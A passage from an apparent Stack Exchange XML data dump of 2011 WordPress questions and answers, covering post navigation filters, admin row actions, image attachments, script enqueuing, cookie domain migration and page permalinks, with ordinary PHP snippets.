OwnerUserId="2487" LastActivityDate="2011-04-21T13:15:39.650" CommentCount="3" />
  <row Id="15317" PostTypeId="1" AcceptedAnswerId="17575" CreationDate="2011-04-21T13:18:52.653" Score="2" ViewCount="173" Body="&lt;p&gt;I've got a custom post type (CPT) called &lt;code&gt;event&lt;/code&gt;. Every event has got an associated &lt;code&gt;meta_key&lt;/code&gt; called &lt;code&gt;event_date&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make sure that events with empty &lt;code&gt;event_date&lt;/code&gt; won't appear in my list of all events and in the prev/next event navigation when viewing a single event. I also want to order events by the &lt;code&gt;event_date&lt;/code&gt; meta_key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to exclude events with empty &lt;code&gt;event_date&lt;/code&gt; and order them correctly in the overall list of events by hooking into &lt;code&gt;pre_get_posts&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to hook into &lt;code&gt;prev_post_link&lt;/code&gt; and &lt;code&gt;next_post_link&lt;/code&gt; functions to specify &lt;code&gt;meta_key&lt;/code&gt; select condition and &lt;code&gt;meta_key&lt;/code&gt; order condition without the plugin? Is there a hook for it? &lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[P.S. note]:&#xA;I also tried using &lt;a href=&quot;http://wordpress.org/extend/plugins/ambrosite-nextprevious-post-link-plus/&quot; rel=&quot;nofollow&quot;&gt;Ambrosite Next/Previous Post Link Plus&lt;/a&gt; plugin. I figured out how to order events by meta_key. However, the events with empty &lt;code&gt;event_date&lt;/code&gt; meta_value are still appearing in the prev/next navigation when viewing a single event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to be possible to hook into WP before the plugin, because I think it constructs its own SQL. I could use &lt;code&gt;ex_posts&lt;/code&gt; with the list of all the event ids to exclude, but that would mean extra query to the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T11:39:54.913" Title="specify meta_key / meta_value condition for prev_post_link and next_post_link" Tags="&lt;custom-post-types&gt;&lt;hooks&gt;&lt;navigation&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="2" />
  <row Id="15318" PostTypeId="2" ParentId="9656" CreationDate="2011-04-21T13:47:43.300" Score="0" ViewCount="" Body="&lt;p&gt;I am having the same issues, using Firefox. Nanoplex doesn't work in IE8 either. &#xA;Website is still under construction and it looks fantastic, except for this issue (so far).&lt;/p&gt;&#xA;" OwnerUserId="4817" LastActivityDate="2011-04-21T13:47:43.300" />
  <row Id="15319" PostTypeId="1" AcceptedAnswerId="15320" CreationDate="2011-04-21T14:09:12.947" Score="0" ViewCount="56" Body="&lt;p&gt;&lt;em&gt;Note: This is more of a tutorial/wiki than a real question and should be a reference for later Questions. If you got something to add, please feel free to add an answer. Working answers get upvoted. :)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Szenario&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You want to modify the output of some wp core function and instead of modifying the core directly (which is always bad), you have found a call like this:&lt;br&gt;&#xA;&lt;code&gt;$filterable_var = apply_filters( 'name_of_filter', $filterable_var );&lt;/code&gt;.&lt;br&gt;&#xA;The filter function allows you to modify eg. &lt;code&gt;$filterable_var&lt;/code&gt; and therefore the output of the wp function.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Problem&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You don't know what exactly the function wants as input.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The Taks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Check what you can modify.&#xA;&lt;hr&gt;&#xA;Possibly Related Q:&lt;br&gt;&#xA;&lt;em&gt;[Fell free to add your own Questions here.]&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/13063/how-to-inspect-global-variables-in-wordpress&quot;&gt;How-to inspect global variables?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-21T14:15:50.447" CommunityOwnedDate="2011-05-26T16:16:44.293" Title="How-to inspect filter-able $vars?" Tags="&lt;filters&gt;&lt;add-filter&gt;&lt;showcase&gt;&lt;apply-filters&gt;&lt;how-to&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="15320" PostTypeId="2" ParentId="15319" CreationDate="2011-04-21T14:15:50.447" Score="1" ViewCount="" Body="&lt;h3&gt;Example&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Nav menu walker - allows adding eg. css classes to (all) menu items.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// copyied from /wp-core/wp-includes/nav-menu-template.php &amp;gt; line 76 (wp 3.1.1) - start_el() function&#xA;$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's check the $var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15319_check_nav_menu_classes( $classes ) &#xA;{&#xA;    // You can take any of the $vars from the core function above: $classes, $item, $args&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;        // nice list:&#xA;        print_r( $classes ); &#xA;        // or check of what type the $var is&#xA;        var_dump( $classes );&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;    return $classes;&#xA;}&#xA;add_filter( 'nav_menu_css_class', 'wpse15319_check_nav_menu_classes', 10 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Modify - Applied example&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse15319_add_nav_menu_classes( $classes ) &#xA;{&#xA;    $classes[] = '';&#xA;    $classes[] .= 'my added css classes'; &#xA;&#xA;    return $classes;&#xA;}&#xA;add_filter( 'nav_menu_css_class', 'wpse15319_add_nav_menu_classes', 10 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-21T14:15:50.447" CommentCount="4" />
  <row Id="15321" PostTypeId="1" AcceptedAnswerId="15325" CreationDate="2011-04-21T14:25:59.437" Score="6" ViewCount="78" Body="&lt;p&gt;I have a custom post type that I'm just using just to keep data in but I sometimes share it with others, and I don't want any confusion when the &quot;view&quot; link appears in the admin column. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of removing that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://img.skitch.com/20110421-des28mtj4br3aeyfxnypnkghsy.jpg&quot; alt=&quot;http://img.skitch.com/20110421-des28mtj4br3aeyfxnypnkghsy.jpg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-21T15:01:13.960" LastActivityDate="2011-04-21T15:25:50.850" Title="Remove the &quot;View&quot; Link in Post Admin" Tags="&lt;custom-post-types&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="15322" PostTypeId="1" AcceptedAnswerId="15328" CreationDate="2011-04-21T14:28:23.863" Score="0" ViewCount="141" Body="&lt;p&gt;I'm currently working on importing an MovableType blog into WordPress. The blog has several thousand posts, and each post has an image associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The export file contains references to each image as follows (and as expected):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://domain/path/to/image&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've got all the images, and have rewritten all the links in the export file to use the new (local) location. However, the WordPres import process doesn't actually create attachments for the post, which I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - what's the best way of doing this - right now I'm thinking about iterating through the set of posts, parsing out any image urls, and creating new posts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;post_parent = the actual post&lt;/li&gt;&#xA;&lt;li&gt;post_type = attachment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is &lt;code&gt;post_guid&lt;/code&gt; the image location reference? Or is the path to the image stored somewhere else?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Where is featured image set?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this the best way of doing this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[I've tried using the cache-image plugin, but it borks on the number of posts / images]&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-21T14:58:12.783" Title="Programatically creating image attachments from local URLs and setting featured image" Tags="&lt;images&gt;&lt;attachments&gt;&lt;import&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="15323" PostTypeId="2" ParentId="15309" CreationDate="2011-04-21T14:30:49.863" Score="2" ViewCount="" Body="&lt;p&gt;This is what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $blog_id;&#xA;$current_blog_details = get_blog_details( array( 'blog_id' =&amp;gt; $blog_id ) );&#xA;echo $current_blog_details-&amp;gt;blogname;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a nice multisite! :)&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-04-21T14:30:49.863" />
  <row Id="15324" PostTypeId="2" ParentId="15317" CreationDate="2011-04-21T14:34:44.577" Score="1" ViewCount="" Body="&lt;p&gt;prev and next_post_link ultimately call the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;get_adjacent_post&lt;/a&gt; function to query the db, which has filterable $join $where and $sort vars.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-21T14:34:44.577" CommentCount="1" />
  <row Id="15325" PostTypeId="2" ParentId="15321" CreationDate="2011-04-21T14:38:49.423" Score="7" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_filter( 'post_row_actions', 'remove_row_actions', 10, 1 );&#xA;&#xA;function remove_row_actions( $actions )&#xA;{&#xA;    if( get_post_type() === 'my_cpt' )&#xA;        unset( $actions['view'] );&#xA;    return $actions;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should see you through :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $actions array consists of the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$actions['edit'] &#xA;$actions['inline hide-if-no-js'] &#xA;$actions['trash'] &#xA;$actions['view'] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For future reference.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="2264" LastEditorDisplayName="" LastEditDate="2011-04-21T15:25:50.850" LastActivityDate="2011-04-21T15:25:50.850" CommentCount="3" />
  <row Id="15326" PostTypeId="2" ParentId="15047" CreationDate="2011-04-21T14:43:30.193" Score="3" ViewCount="" Body="&lt;p&gt;Snipes! Because someone's shooting their content at you from a distance :)&lt;/p&gt;&#xA;" OwnerUserId="833" LastActivityDate="2011-04-21T14:43:30.193" />
  <row Id="15327" PostTypeId="2" ParentId="12607" CreationDate="2011-04-21T14:58:06.850" Score="0" ViewCount="" Body="&lt;p&gt;A common problem with older WordPress databases and even newer ones is that the database tables get set as latin-1 but the contents are actually encoded as UTF-8.  If you try to export as UTF-8 MySQL will attempt to convert the (supposedly) Latin-1 data to UTF-8 resulting in double encoded characters since the data was already UTF-8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to export the tables as latin-1.  Since MySQL thinks they are already latin-1 it will do a straight export.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the character set from ‘latin1′ to ‘utf8′. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since the dumped data was not converted during the export process, it’s actually UTF-8 encoded data.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your new table as UTF-8 If your CREATE TABLE command is in your SQL dump file, change the character set from ‘latin1′ to ‘utf8′.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import your data normally. Since you’ve got UTF-8 encoded data in your dump file, the declared character set in the dump file is now UTF-8, and the table you’re importing into is UTF-8, everything will go smoothly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-21T14:58:06.850" />
  <row Id="15328" PostTypeId="2" ParentId="15322" CreationDate="2011-04-21T14:58:12.783" Score="1" ViewCount="" Body="&lt;h2&gt;Answers:&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is post_guid the image location&#xA;  reference? Or is the path to the image&#xA;  stored somewhere else?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;$post-&gt;guid is the record in a post which holds the URL for your attachment.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where is featured image set?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;featured image is saved as post meta so use &lt;code&gt;update_post_meta()&lt;/code&gt; once you have the attachment id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_post_meta( $post-&amp;gt;ID, '_thumbnail_id', $attachment_id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this the best way of doing this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Its a lot of work for several thousand posts and any way you choose will cause you some &quot;pain&quot; but it seems like a reasonable way of accomplishing this.  &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-21T14:58:12.783" CommentCount="3" />
  <row Id="15329" PostTypeId="1" CreationDate="2011-04-21T15:12:17.533" Score="0" ViewCount="142" Body="&lt;p&gt;If you look at my form at &lt;a href=&quot;http://axiomwest.com/order-an-inspection/&quot; rel=&quot;nofollow&quot;&gt;http://axiomwest.com/order-an-inspection/&lt;/a&gt; and scroll down the page you'll see that the form goes out of the content section and up over my static header! What can I do about this?&lt;/p&gt;&#xA;" OwnerUserId="4596" LastActivityDate="2011-08-09T08:21:27.327" Title="Contact Form 7 and static header" Tags="&lt;jquery&gt;&lt;contact-form-7&gt;&lt;header&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="15330" PostTypeId="2" ParentId="15302" CreationDate="2011-04-21T15:19:10.277" Score="1" ViewCount="" Body="&lt;p&gt;I'm posting this as another solution for you and its based on the page id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;$post_id - The ID of the post you'd like to change.&#xA;$status -  The post status publish|pending|draft|private|static|object|attachment|inherit|future|trash.&#xA;*/&#xA;function change_post_status($post_id,$status){&#xA;    $current_post = get_post( $post_id, 'ARRAY_A' );&#xA;    $current_post['post_status'] = $status;&#xA;    return wp_update_post($current_post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So once you have this function you can use it with the page id of the page you created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ads_page = get_option('mjj_smart_ads_page');&#xA;$old_ads_page = change_post_status($ads_page,'draft');&#xA;update_option('mjj_old_smart_ads_page', $old_ads_page); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-21T15:19:10.277" CommentCount="3" />
  <row Id="15331" PostTypeId="2" ParentId="15307" CreationDate="2011-04-21T15:35:30.957" Score="1" ViewCount="" Body="&lt;p&gt;Domain mapping for work both subdomains and subfolders. It used to not be available for subfolder installs via the domain mapping plugin, but that's no longer the case for a long time, with that being said, its ture wor a self hosted WordPress.org install and not for WordPress.com&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-21T15:35:30.957" />
  <row Id="15332" PostTypeId="1" AcceptedAnswerId="15341" CreationDate="2011-04-21T15:37:29.393" Score="2" ViewCount="274" Body="&lt;p&gt;i am trying to get scripts via &lt;code&gt;wp_enqueue_secipt();&lt;/code&gt;. I have tired this in header but wordpress not importing any script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using like this &lt;code&gt;wp_enqueue_secipt('jquery');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anymore step needed for importing script via wordpress?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-04-23T05:37:50.933" Title="How wp_enqueue_script works?" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;wp-enqueue-script&gt;" AnswerCount="4" CommentCount="5" />
  <row Id="15333" PostTypeId="1" AcceptedAnswerId="15343" CreationDate="2011-04-21T15:37:37.273" Score="1" ViewCount="97" Body="&lt;p&gt;Does anyone know of a theme that completely removes all uses and aspects of the frontend. So the sole use of the site will be in the admin section. to use as a portal for something like a school or internal government uses. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-04-21T16:56:26.300" Title="wordpress theme backend admin only" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="4" />
  <row Id="15334" PostTypeId="2" ParentId="15332" CreationDate="2011-04-21T15:39:42.983" Score="3" ViewCount="" Body="&lt;p&gt;If you have copy/pasted your code, then you have a typo.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_enqueue_script('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-21T15:39:42.983" />
  <row Id="15335" PostTypeId="1" AcceptedAnswerId="18812" CreationDate="2011-04-21T15:40:26.633" Score="2" ViewCount="117" Body="&lt;p&gt;I need to extend the cookies of a subdomain.domain.com to all of the domain.com's subdomains (.domain.com in cookie terms).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to minimize the impact of this transition. It seems that flipping the switch with &lt;code&gt;define('COOKIE_DOMAIN', '.domain.com');&lt;/code&gt; in wp-config leaves the user in a state of limbo -- their cookie is good enough to validate, so it won't move to the new domain scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can transition cookies from .subdomain.domain.com to .domain.com with minimal impact on users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I've been failing and flailing with. It attempts to validate the old cookies when a bad hash is detected (from changing &lt;code&gt;AUTH_KEY&lt;/code&gt; in wp-config.php) and then tries to re-validate and send them back to where they came from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function do_report_bad_hash( $cookie_elements ) {&#xA;&#xA;    if( isset( $_COOKIE['wordpress_logged_in_'] ) ) {&#xA;        $user_id = wp_validate_auth_cookie( urldecode( $_COOKIE['wordpress_logged_in_']), 'logged_in' );&#xA;&#xA;        setcookie( 'wordpress_logged_in_', '', 0, '/', '.subdomain.domain.com', false, true ); &#xA;        unset( $_COOKIE['wordpress_logged_in_'] );&#xA;&#xA;        setcookie( 'wordpress_', '', 0, '/', '.subdomain.domain.com', false, true ); &#xA;        unset( $_COOKIE['wordpress_'] );&#xA;&#xA;        if ( $user_id !== false ) {&#xA;&#xA;            wp_set_auth_cookie($user_id);&#xA;&#xA;            $redirect = ( strpos($_SERVER['REQUEST_URI'], '/options.php') &amp;amp;&amp;amp; wp_get_referer() ) ? wp_get_referer() : $proto . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];&#xA;&#xA;            header(&quot;Location: $redirect&quot;);    &#xA;&#xA;        }&#xA;&#xA;    } &#xA;&#xA;}&#xA;add_action('auth_cookie_bad_hash', 'do_report_bad_hash', 11, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-07-30T17:34:19.650" Title="How to transition cookies from .subdomain.domain.com to .domain.com with minimal impact on users?" Tags="&lt;cookies&gt;&lt;authentication&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="15336" PostTypeId="2" ParentId="15333" CreationDate="2011-04-21T15:41:05.320" Score="0" ViewCount="" Body="&lt;p&gt;You could very easily create a theme that just acted as a landing page, with a link to the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a valid theme, all you need is a style.css with the appropriate mark up (&lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Theme_Stylesheet&quot; rel=&quot;nofollow&quot;&gt;see codex here&lt;/a&gt;) and an index.php. The index.php needs not contain any actual PHP, and you can create a holding page using just HTML.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-21T15:41:05.320" />
  <row Id="15337" PostTypeId="2" ParentId="15333" CreationDate="2011-04-21T15:44:44.873" Score="0" ViewCount="" Body="&lt;p&gt;You could also completely block the access to the front site with a .htaccess rule.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-21T15:44:44.873" />
  <row Id="15338" PostTypeId="2" ParentId="15298" CreationDate="2011-04-21T15:54:58.230" Score="0" ViewCount="" Body="&lt;p&gt;The only other one supported by Gravatar is the retro generator. This is built into newer versions of WP, just select it in Settings-&gt;Discussion.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-21T15:54:58.230" CommentCount="1" />
  <row Id="15339" PostTypeId="2" ParentId="15332" CreationDate="2011-04-21T16:03:24.810" Score="1" ViewCount="" Body="&lt;p&gt;Read what the codex says... You should call this inside an action hook... Otherwise it may lead to troubles! Codex suggests you use it with 'init' action hook.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-04-21T16:03:24.810" CommentCount="6" />
  <row Id="15340" PostTypeId="1" AcceptedAnswerId="15347" CreationDate="2011-04-21T16:23:37.680" Score="0" ViewCount="54" Body="&lt;p&gt;I'm trying to figure out a permalink structure for my pages (not posts) in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I can add a &quot;Category Base&quot; for posts... so, something like www.mysite.com/categorybase/post1/ or www.mysite.com/categorybase/post2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if I wanted to do something similar for pages, how would I do that?&#xA;For example, www.mysite.com/pagebase/page1/ or www.mysite.com/pagebase/page2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone tried this before?&lt;/p&gt;&#xA;" OwnerUserId="4432" LastActivityDate="2011-04-21T18:31:30.000" Title="Default Permalink Structure for Pages" Tags="&lt;permalinks&gt;&lt;pages&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15341" PostTypeId="2" ParentId="15332" CreationDate="2011-04-21T16:25:40.713" Score="4" ViewCount="" Body="&lt;p&gt;In simple case you need to enqueue script before header scripts are printed, which happens in &lt;code&gt;wp_head&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic approach would be this in &lt;code&gt;functions.php&lt;/code&gt; of your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_enqueue_scripts', 'my_enqueue_scripts');&#xA;&#xA;function my_enqueue_scripts() {&#xA;&#xA;    wp_enqueue_script('jquery');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-21T16:25:40.713" CommentCount="9" />
  <row Id="15342" PostTypeId="2" ParentId="15333" CreationDate="2011-04-21T16:37:01.257" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/registered-users-only/&quot; rel=&quot;nofollow&quot;&gt;Registered Users Only plugin&lt;/a&gt; will block all access to the front end to users who are not registered.  Also check out &lt;a href=&quot;http://www.billerickson.net/twentyten-crm/&quot; rel=&quot;nofollow&quot;&gt;Bill Erickson's Twentyten CRM theme&lt;/a&gt; that was built specifically as a private use theme.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-21T16:37:01.257" CommentCount="1" />
  <row Id="15343" PostTypeId="2" ParentId="15333" CreationDate="2011-04-21T16:56:26.300" Score="2" ViewCount="" Body="&lt;p&gt;There are three things (if i understood your needs correctly):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the admin menu items &lt;a href=&quot;https://gist.github.com/780709&quot; rel=&quot;nofollow&quot;&gt;@MikeSchinkel Gist&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;The Backpress project&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;...or simply &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_redirect();&lt;/code&gt;&lt;/a&gt; on login and &lt;a href=&quot;http://digwp.com/2010/12/login-register-password-code/&quot; rel=&quot;nofollow&quot;&gt;offer only a login screen in your index.php template&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-21T16:56:26.300" CommentCount="2" />
  <row Id="15344" PostTypeId="2" ParentId="10458" CreationDate="2011-04-21T17:46:42.117" Score="3" ViewCount="" Body="&lt;p&gt;Yes there is a Stackexchange-like voting plugin for WordPress.  The beta was just released today developed by &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;one of our members&lt;/a&gt; and available from &lt;a href=&quot;http://wpmudev.org&quot; rel=&quot;nofollow&quot;&gt;WPMUdev&lt;/a&gt;.  The plugin is &lt;a href=&quot;http://premium.wpmudev.org/project/qa-wordpress-questions-and-answers-plugin&quot; rel=&quot;nofollow&quot;&gt;Q&amp;amp;A WordPress Questions and Answers&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See screenshots below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Emmsw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;amp;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Bu9X0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-21T17:46:42.117" />
  <row Id="15345" PostTypeId="1" CreationDate="2011-04-21T18:09:07.987" Score="0" ViewCount="53" Body="&lt;p&gt;I want to display all taxonomies (Lists) as boxes and inside have all posts that are in that taxonomy &lt;/p&gt;&#xA;" OwnerUserId="4678" LastActivityDate="2011-04-21T18:09:07.987" Title="Group custom post type by their taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" CommentCount="1" />
  <row Id="15346" PostTypeId="1" AcceptedAnswerId="15352" CreationDate="2011-04-21T18:26:49.413" Score="0" ViewCount="45" Body="&lt;p&gt;Does a method exist that can return a simple array of the pages in the site that are published? I only want the name and the slug returned, not the full content or other default values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried WP_query(), get_posts(), get_pages() and query_posts() but they all return the post/page content. I'm only looking to get the post name and slug returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's no lighter method, I can use one of these. Just want to make sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-21T19:36:58.403" Title="How to exclude content (and other returned values) from WP_query()?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="15347" PostTypeId="2" ParentId="15340" CreationDate="2011-04-21T18:31:30.000" Score="1" ViewCount="" Body="&lt;p&gt;For the example you're using (ie www.mysite.com/pagebase/page1) you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a page called pagebase&lt;/li&gt;&#xA;&lt;li&gt;create a page called page1 and make pagebase the parent page - the url for this page will be www.mysite.com/pagepage/page1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This does mean that www.mysite.com/pagebase also exists as a browsable page, but I generally use that as a section description and section index page.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-21T18:31:30.000" CommentCount="2" />
